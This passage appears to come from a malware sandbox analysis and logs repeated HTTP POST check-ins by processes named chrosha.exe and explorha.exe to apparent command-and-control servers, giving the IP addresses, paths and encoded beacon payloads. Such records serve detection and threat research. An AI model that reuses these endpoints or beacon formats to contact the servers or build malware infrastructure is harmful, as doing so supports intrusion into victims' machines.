1048	192.168.2.5	50902	193.233.132.167	80	8024	C:\Users\user\AppData\Local\Temp\4d0ab15804\chrosha.exe

Timestamp	Bytes transferred	Direction	Data
Apr 19, 2024 03:34:47.727989912 CEST	309	OUT	POST /enigma/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 193.233.132.167 Content-Length: 156 Cache-Control: no-cache Data Raw: 72 3d 39 36 33 38 44 33 34 31 35 46 37 37 38 41 31 45 33 31 46 46 43 31 46 34 42 46 39 31 33 32 42 42 39 45 36 32 35 34 45 32 41 44 36 32 37 42 35 30 44 37 39 42 46 30 34 30 30 43 42 42 32 42 42 38 31 32 37 38 35 30 39 43 30 35 42 45 41 33 36 36 39 41 35 32 37 37 37 46 41 36 31 33 35 34 35 37 33 46 46 34 45 36 34 31 32 41 37 34 36 35 41 31 46 46 34 39 30 30 42 32 44 45 46 33 43 30 41 30 41 41 39 42 43 32 32 43 38 44 31 35 39 32 34 35 35 45 37 42 35 38 30 39 41 44 Data Ascii: r=9638D3415F778A1E31FFC1F4BF9132BB9E6254E2AD627B50D79BF0400CBB2BB81278509C05BEA3669A52777FA61354573FF4E6412A7465A1FF4900B2DEF3C0A0AA9BC22C8D1592455E7B5809AD
Apr 19, 2024 03:34:47.982733965 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 19 Apr 2024 01:34:47 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1049	192.168.2.5	50903	193.233.132.56	80	4484	C:\Users\user\AppData\Local\Temp\09fd851a4f\explorha.exe

Timestamp	Bytes transferred	Direction	Data
Apr 19, 2024 03:34:47.879359961 CEST	158	OUT	POST /Pneh2sXQk0/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 193.233.132.56 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Apr 19, 2024 03:34:48.122843027 CEST	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 19 Apr 2024 01:34:47 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1050	192.168.2.5	50904	193.233.132.167	80	8024	C:\Users\user\AppData\Local\Temp\4d0ab15804\chrosha.exe

Timestamp	Bytes transferred	Direction	Data
Apr 19, 2024 03:34:48.357394934 CEST	155	OUT	POST /enigma/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 193.233.132.167 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Apr 19, 2024 03:34:48.608165979 CEST	197	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 19 Apr 2024 01:34:48 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 38 0d 0a 20 3c 63 3e 33 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 8 <c>3<d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1051	192.168.2.5	50905	193.233.132.56	80	4484	C:\Users\user\AppData\Local\Temp\09fd851a4f\explorha.exe

Timestamp	Bytes transferred	Direction	Data
Apr 19, 2024 03:34:48.374752998 CEST	312	OUT	POST /Pneh2sXQk0/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 193.233.132.56 Content-Length: 156 Cache-Control: no-cache Data Raw: 72 3d 41 42 31 45 39 44 32 37 35 41 46 38 38 31 42 43 46 37 35 34 35 46 46 43 39 45 35 42 37 30 41 39 43 30 31 44 45 32 30 41 44 43 32 33 38 43 41 39 46 30 42 45 32 35 41 42 41 35 46 39 45 36 34 35 37 38 42 34 42 35 36 34 37 41 32 38 38 45 37 46 38 31 30 30 38 44 41 39 36 41 45 36 43 37 46 30 41 46 34 33 43 46 46 39 46 44 33 33 43 32 30 44 42 46 42 30 30 36 31 36 35 42 37 30 33 31 38 42 42 43 30 30 36 35 43 30 44 35 41 39 35 39 36 37 44 46 34 41 30 36 30 33 33 32 Data Ascii: r=AB1E9D275AF881BCF7545FFC9E5B70A9C01DE20ADC238CA9F0BE25ABA5F9E64578B4B5647A288E7F81008DA96AE6C7F0AF43CFF9FD33C20DBFB006165B70318BBC0065C0D5A95967DF4A060332
Apr 19, 2024 03:34:48.626183033 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 19 Apr 2024 01:34:48 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1052	192.168.2.5	50906	193.233.132.167	80	8024	C:\Users\user\AppData\Local\Temp\4d0ab15804\chrosha.exe

Timestamp	Bytes transferred	Direction	Data
Apr 19, 2024 03:34:48.866621971 CEST	309	OUT	POST /enigma/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 193.233.132.167 Content-Length: 156 Cache-Control: no-cache Data Raw: 72 3d 39 36 33 38 44 33 34 31 35 46 37 37 38 41 31 45 33 31 46 46 43 31 46 34 42 46 39 31 33 32 42 42 39 45 36 32 35 34 45 32 41 44 36 32 37 42 35 30 44 37 39 42 46 30 34 30 30 43 42 42 32 42 42 38 31 32 37 38 35 30 39 43 30 35 42 45 41 33 36 36 39 41 35 32 37 37 37 46 41 36 31 33 35 34 35 37 33 46 46 34 45 36 34 31 32 41 37 34 36 35 41 31 46 46 34 39 30 30 42 32 44 45 46 33 43 30 41 30 41 41 39 42 43 32 32 43 38 44 31 35 39 32 34 35 35 45 37 42 35 38 30 39 41 44 Data Ascii: r=9638D3415F778A1E31FFC1F4BF9132BB9E6254E2AD627B50D79BF0400CBB2BB81278509C05BEA3669A52777FA61354573FF4E6412A7465A1FF4900B2DEF3C0A0AA9BC22C8D1592455E7B5809AD
Apr 19, 2024 03:34:49.124429941 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 19 Apr 2024 01:34:48 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1053	192.168.2.5	50907	193.233.132.56	80	4484	C:\Users\user\AppData\Local\Temp\09fd851a4f\explorha.exe

Timestamp	Bytes transferred	Direction	Data
Apr 19, 2024 03:34:48.980145931 CEST	158	OUT	POST /Pneh2sXQk0/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 193.233.132.56 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Apr 19, 2024 03:34:49.224848032 CEST	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 19 Apr 2024 01:34:49 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1054	192.168.2.5	50908	193.233.132.56	80	4484	C:\Users\user\AppData\Local\Temp\09fd851a4f\explorha.exe

Timestamp	Bytes transferred	Direction	Data
Apr 19, 2024 03:34:49.480621099 CEST	312	OUT	POST /Pneh2sXQk0/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 193.233.132.56 Content-Length: 156 Cache-Control: no-cache Data Raw: 72 3d 41 42 31 45 39 44 32 37 35 41 46 38 38 31 42 43 46 37 35 34 35 46 46 43 39 45 35 42 37 30 41 39 43 30 31 44 45 32 30 41 44 43 32 33 38 43 41 39 46 30 42 45 32 35 41 42 41 35 46 39 45 36 34 35 37 38 42 34 42 35 36 34 37 41 32 38 38 45 37 46 38 31 30 30 38 44 41 39 36 41 45 36 43 37 46 30 41 46 34 33 43 46 46 39 46 44 33 33 43 32 30 44 42 46 42 30 30 36 31 36 35 42 37 30 33 31 38 42 42 43 30 30 36 35 43 30 44 35 41 39 35 39 36 37 44 46 34 41 30 36 30 33 33 32 Data Ascii: r=AB1E9D275AF881BCF7545FFC9E5B70A9C01DE20ADC238CA9F0BE25ABA5F9E64578B4B5647A288E7F81008DA96AE6C7F0AF43CFF9FD33C20DBFB006165B70318BBC0065C0D5A95967DF4A060332
Apr 19, 2024 03:34:49.736601114 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 19 Apr 2024 01:34:49 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1055	192.168.2.5	50909	193.233.132.167	80	8024	C:\Users\user\AppData\Local\Temp\4d0ab15804\chrosha.exe

Timestamp	Bytes transferred	Direction	Data
Apr 19, 2024 03:34:49.480627060 CEST	155	OUT	POST /enigma/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 193.233.132.167 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Apr 19, 2024 03:34:49.724203110 CEST	197	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 19 Apr 2024 01:34:49 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 38 0d 0a 20 3c 63 3e 33 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 8 <c>3<d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1056	192.168.2.5	50910	193.233.132.167	80	8024	C:\Users\user\AppData\Local\Temp\4d0ab15804\chrosha.exe

Timestamp	Bytes transferred	Direction	Data
Apr 19, 2024 03:34:49.982727051 CEST	309	OUT	POST /enigma/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 193.233.132.167 Content-Length: 156 Cache-Control: no-cache Data Raw: 72 3d 39 36 33 38 44 33 34 31 35 46 37 37 38 41 31 45 33 31 46 46 43 31 46 34 42 46 39 31 33 32 42 42 39 45 36 32 35 34 45 32 41 44 36 32 37 42 35 30 44 37 39 42 46 30 34 30 30 43 42 42 32 42 42 38 31 32 37 38 35 30 39 43 30 35 42 45 41 33 36 36 39 41 35 32 37 37 37 46 41 36 31 33 35 34 35 37 33 46 46 34 45 36 34 31 32 41 37 34 36 35 41 31 46 46 34 39 30 30 42 32 44 45 46 33 43 30 41 30 41 41 39 42 43 32 32 43 38 44 31 35 39 32 34 35 35 45 37 42 35 38 30 39 41 44 Data Ascii: r=9638D3415F778A1E31FFC1F4BF9132BB9E6254E2AD627B50D79BF0400CBB2BB81278509C05BEA3669A52777FA61354573FF4E6412A7465A1FF4900B2DEF3C0A0AA9BC22C8D1592455E7B5809AD
Apr 19, 2024 03:34:50.237401009 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 19 Apr 2024 01:34:50 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1057	192.168.2.5	50911	193.233.132.56	80	4484	C:\Users\user\AppData\Local\Temp\09fd851a4f\explorha.exe

Timestamp	Bytes transferred	Direction	Data
Apr 19, 2024 03:34:50.104626894 CEST	158	OUT	POST /Pneh2sXQk0/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 193.233.132.56 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Apr 19, 2024 03:34:50.350965977 CEST	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 19 Apr 2024 01:34:50 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1058	192.168.2.5	50912	193.233.132.167	80	8024	C:\Users\user\AppData\Local\Temp\4d0ab15804\chrosha.exe

Timestamp	Bytes transferred	Direction	Data
Apr 19, 2024 03:34:50.602591991 CEST	155	OUT	POST /enigma/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 193.233.132.167 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Apr 19, 2024 03:34:50.848377943 CEST	197	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 19 Apr 2024 01:34:50 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 38 0d 0a 20 3c 63 3e 33 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 8 <c>3<d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1059	192.168.2.5	50913	193.233.132.56	80	4484	C:\Users\user\AppData\Local\Temp\09fd851a4f\explorha.exe

Timestamp	Bytes transferred	Direction	Data
Apr 19, 2024 03:34:50.605102062 CEST	312	OUT	POST /Pneh2sXQk0/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 193.233.132.56 Content-Length: 156 Cache-Control: no-cache Data Raw: 72 3d 41 42 31 45 39 44 32 37 35 41 46 38 38 31 42 43 46 37 35 34 35 46 46 43 39 45 35 42 37 30 41 39 43 30 31 44 45 32 30 41 44 43 32 33 38 43 41 39 46 30 42 45 32 35 41 42 41 35 46 39 45 36 34 35 37 38 42 34 42 35 36 34 37 41 32 38 38 45 37 46 38 31 30 30 38 44 41 39 36 41 45 36 43 37 46 30 41 46 34 33 43 46 46 39 46 44 33 33 43 32 30 44 42 46 42 30 30 36 31 36 35 42 37 30 33 31 38 42 42 43 30 30 36 35 43 30 44 35 41 39 35 39 36 37 44 46 34 41 30 36 30 33 33 32 Data Ascii: r=AB1E9D275AF881BCF7545FFC9E5B70A9C01DE20ADC238CA9F0BE25ABA5F9E64578B4B5647A288E7F81008DA96AE6C7F0AF43CFF9FD33C20DBFB006165B70318BBC0065C0D5A95967DF4A060332
Apr 19, 2024 03:34:50.857984066 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 19 Apr 2024 01:34:50 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1060	192.168.2.5	50914	193.233.132.167	80	8024	C:\Users\user\AppData\Local\Temp\4d0ab15804\chrosha.exe

Timestamp	Bytes transferred	Direction	Data
Apr 19, 2024 03:34:51.096148014 CEST	309	OUT	POST /enigma/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 193.233.132.167 Content-Length: 156 Cache-Control: no-cache Data Raw: 72 3d 39 36 33 38 44 33 34 31 35 46 37 37 38 41 31 45 33 31 46 46 43 31 46 34 42 46 39 31 33 32 42 42 39 45 36 32 35 34 45 32 41 44 36 32 37 42 35 30 44 37 39 42 46 30 34 30 30 43 42 42 32 42 42 38 31 32 37 38 35 30 39 43 30 35 42 45 41 33 36 36 39 41 35 32 37 37 37 46 41 36 31 33 35 34 35 37 33 46 46 34 45 36 34 31 32 41 37 34 36 35 41 31 46 46 34 39 30 30 42 32 44 45 46 33 43 30 41 30 41 41 39 42 43 32 32 43 38 44 31 35 39 32 34 35 35 45 37 42 35 38 30 39 41 44 Data Ascii: r=9638D3415F778A1E31FFC1F4BF9132BB9E6254E2AD627B50D79BF0400CBB2BB81278509C05BEA3669A52777FA61354573FF4E6412A7465A1FF4900B2DEF3C0A0AA9BC22C8D1592455E7B5809AD
Apr 19, 2024 03:34:51.344213009 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 19 Apr 2024 01:34:51 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1061	192.168.2.5	50915	193.233.132.56	80	4484	C:\Users\user\AppData\Local\Temp\09fd851a4f\explorha.exe

Timestamp	Bytes transferred	Direction	Data
Apr 19, 2024 03:34:51.215562105 CEST	158	OUT	POST /Pneh2sXQk0/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 193.233.132.56 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Apr 19, 2024 03:34:51.463217020 CEST	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 19 Apr 2024 01:34:51 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1062	192.168.2.5	50916	193.233.132.167	80	8024	C:\Users\user\AppData\Local\Temp\4d0ab15804\chrosha.exe

Timestamp	Bytes transferred	Direction	Data
Apr 19, 2024 03:34:51.702980042 CEST	155	OUT	POST /enigma/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 193.233.132.167 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Apr 19, 2024 03:34:51.947644949 CEST	197	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 19 Apr 2024 01:34:51 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 38 0d 0a 20 3c 63 3e 33 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 8 <c>3<d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1063	192.168.2.5	50917	193.233.132.56	80	4484	C:\Users\user\AppData\Local\Temp\09fd851a4f\explorha.exe

Timestamp	Bytes transferred	Direction	Data
Apr 19, 2024 03:34:51.708405972 CEST	312	OUT	POST /Pneh2sXQk0/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 193.233.132.56 Content-Length: 156 Cache-Control: no-cache Data Raw: 72 3d 41 42 31 45 39 44 32 37 35 41 46 38 38 31 42 43 46 37 35 34 35 46 46 43 39 45 35 42 37 30 41 39 43 30 31 44 45 32 30 41 44 43 32 33 38 43 41 39 46 30 42 45 32 35 41 42 41 35 46 39 45 36 34 35 37 38 42 34 42 35 36 34 37 41 32 38 38 45 37 46 38 31 30 30 38 44 41 39 36 41 45 36 43 37 46 30 41 46 34 33 43 46 46 39 46 44 33 33 43 32 30 44 42 46 42 30 30 36 31 36 35 42 37 30 33 31 38 42 42 43 30 30 36 35 43 30 44 35 41 39 35 39 36 37 44 46 34 41 30 36 30 33 33 32 Data Ascii: r=AB1E9D275AF881BCF7545FFC9E5B70A9C01DE20ADC238CA9F0BE25ABA5F9E64578B4B5647A288E7F81008DA96AE6C7F0AF43CFF9FD33C20DBFB006165B70318BBC0065C0D5A95967DF4A060332
Apr 19, 2024 03:34:51.953108072 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 19 Apr 2024 01:34:51 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1064	192.168.2.5	50918	193.233.132.167	80	8024	C:\Users\user\AppData\Local\Temp\4d0ab15804\chrosha.exe

Timestamp	Bytes transferred	Direction	Data
Apr 19, 2024 03:34:52.199795961 CEST	309	OUT	POST /enigma/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 193.233.132.167 Content-Length: 156 Cache-Control: no-cache Data Raw: 72 3d 39 36 33 38 44 33 34 31 35 46 37 37 38 41 31 45 33 31 46 46 43 31 46 34 42 46 39 31 33 32 42 42 39 45 36 32 35 34 45 32 41 44 36 32 37 42 35 30 44 37 39 42 46 30 34 30 30 43 42 42 32 42 42 38 31 32 37 38 35 30 39 43 30 35 42 45 41 33 36 36 39 41 35 32 37 37 37 46 41 36 31 33 35 34 35 37 33 46 46 34 45 36 34 31 32 41 37 34 36 35 41 31 46 46 34 39 30 30 42 32 44 45 46 33 43 30 41 30 41 41 39 42 43 32 32 43 38 44 31 35 39 32 34 35 35 45 37 42 35 38 30 39 41 44 Data Ascii: r=9638D3415F778A1E31FFC1F4BF9132BB9E6254E2AD627B50D79BF0400CBB2BB81278509C05BEA3669A52777FA61354573FF4E6412A7465A1FF4900B2DEF3C0A0AA9BC22C8D1592455E7B5809AD
Apr 19, 2024 03:34:52.453732967 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 19 Apr 2024 01:34:52 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1065	192.168.2.5	50919	193.233.132.56	80	4484	C:\Users\user\AppData\Local\Temp\09fd851a4f\explorha.exe

Timestamp	Bytes transferred	Direction	Data
Apr 19, 2024 03:34:52.307921886 CEST	158	OUT	POST /Pneh2sXQk0/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 193.233.132.56 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Apr 19, 2024 03:34:52.556504011 CEST	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 19 Apr 2024 01:34:52 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1066	192.168.2.5	50920	193.233.132.56	80	4484	C:\Users\user\AppData\Local\Temp\09fd851a4f\explorha.exe

Timestamp	Bytes transferred	Direction	Data
Apr 19, 2024 03:34:52.811947107 CEST	312	OUT	POST /Pneh2sXQk0/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 193.233.132.56 Content-Length: 156 Cache-Control: no-cache Data Raw: 72 3d 41 42 31 45 39 44 32 37 35 41 46 38 38 31 42 43 46 37 35 34 35 46 46 43 39 45 35 42 37 30 41 39 43 30 31 44 45 32 30 41 44 43 32 33 38 43 41 39 46 30 42 45 32 35 41 42 41 35 46 39 45 36 34 35 37 38 42 34 42 35 36 34 37 41 32 38 38 45 37 46 38 31 30 30 38 44 41 39 36 41 45 36 43 37 46 30 41 46 34 33 43 46 46 39 46 44 33 33 43 32 30 44 42 46 42 30 30 36 31 36 35 42 37 30 33 31 38 42 42 43 30 30 36 35 43 30 44 35 41 39 35 39 36 37 44 46 34 41 30 36 30 33 33 32 Data Ascii: r=AB1E9D275AF881BCF7545FFC9E5B70A9C01DE20ADC238CA9F0BE25ABA5F9E64578B4B5647A288E7F81008DA96AE6C7F0AF43CFF9FD33C20DBFB006165B70318BBC0065C0D5A95967DF4A060332
Apr 19, 2024 03:34:53.064080000 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 19 Apr 2024 01:34:52 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1067	192.168.2.5	50921	193.233.132.167	80	8024	C:\Users\user\AppData\Local\Temp\4d0ab15804\chrosha.exe

Timestamp	Bytes transferred	Direction	Data
Apr 19, 2024 03:34:52.819617987 CEST	155	OUT	POST /enigma/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 193.233.132.167 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Apr 19, 2024 03:34:53.064095020 CEST	197	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 19 Apr 2024 01:34:52 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 38 0d 0a 20 3c 63 3e 33 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 8 <c>3<d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1068	192.168.2.5	50922	193.233.132.167	80	8024	C:\Users\user\AppData\Local\Temp\4d0ab15804\chrosha.exe

Timestamp	Bytes transferred	Direction	Data
Apr 19, 2024 03:34:53.315766096 CEST	309	OUT	POST /enigma/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 193.233.132.167 Content-Length: 156 Cache-Control: no-cache Data Raw: 72 3d 39 36 33 38 44 33 34 31 35 46 37 37 38 41 31 45 33 31 46 46 43 31 46 34 42 46 39 31 33 32 42 42 39 45 36 32 35 34 45 32 41 44 36 32 37 42 35 30 44 37 39 42 46 30 34 30 30 43 42 42 32 42 42 38 31 32 37 38 35 30 39 43 30 35 42 45 41 33 36 36 39 41 35 32 37 37 37 46 41 36 31 33 35 34 35 37 33 46 46 34 45 36 34 31 32 41 37 34 36 35 41 31 46 46 34 39 30 30 42 32 44 45 46 33 43 30 41 30 41 41 39 42 43 32 32 43 38 44 31 35 39 32 34 35 35 45 37 42 35 38 30 39 41 44 Data Ascii: r=9638D3415F778A1E31FFC1F4BF9132BB9E6254E2AD627B50D79BF0400CBB2BB81278509C05BEA3669A52777FA61354573FF4E6412A7465A1FF4900B2DEF3C0A0AA9BC22C8D1592455E7B5809AD
Apr 19, 2024 03:34:53.564523935 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 19 Apr 2024 01:34:53 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1069	192.168.2.5	50923	193.233.132.56	80	4484	C:\Users\user\AppData\Local\Temp\09fd851a4f\explorha.exe

Timestamp	Bytes transferred	Direction	Data
Apr 19, 2024 03:34:53.423361063 CEST	158	OUT	POST /Pneh2sXQk0/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 193.233.132.56 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Apr 19, 2024 03:34:53.674483061 CEST	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 19 Apr 2024 01:34:53 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1070	192.168.2.5	50924	193.233.132.56	80	4484	C:\Users\user\AppData\Local\Temp\09fd851a4f\explorha.exe

Timestamp	Bytes transferred	Direction	Data
Apr 19, 2024 03:34:53.928988934 CEST	312	OUT	POST /Pneh2sXQk0/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 193.233.132.56 Content-Length: 156 Cache-Control: no-cache Data Raw: 72 3d 41 42 31 45 39 44 32 37 35 41 46 38 38 31 42 43 46 37 35 34 35 46 46 43 39 45 35 42 37 30 41 39 43 30 31 44 45 32 30 41 44 43 32 33 38 43 41 39 46 30 42 45 32 35 41 42 41 35 46 39 45 36 34 35 37 38 42 34 42 35 36 34 37 41 32 38 38 45 37 46 38 31 30 30 38 44 41 39 36 41 45 36 43 37 46 30 41 46 34 33 43 46 46 39 46 44 33 33 43 32 30 44 42 46 42 30 30 36 31 36 35 42 37 30 33 31 38 42 42 43 30 30 36 35 43 30 44 35 41 39 35 39 36 37 44 46 34 41 30 36 30 33 33 32 Data Ascii: r=AB1E9D275AF881BCF7545FFC9E5B70A9C01DE20ADC238CA9F0BE25ABA5F9E64578B4B5647A288E7F81008DA96AE6C7F0AF43CFF9FD33C20DBFB006165B70318BBC0065C0D5A95967DF4A060332
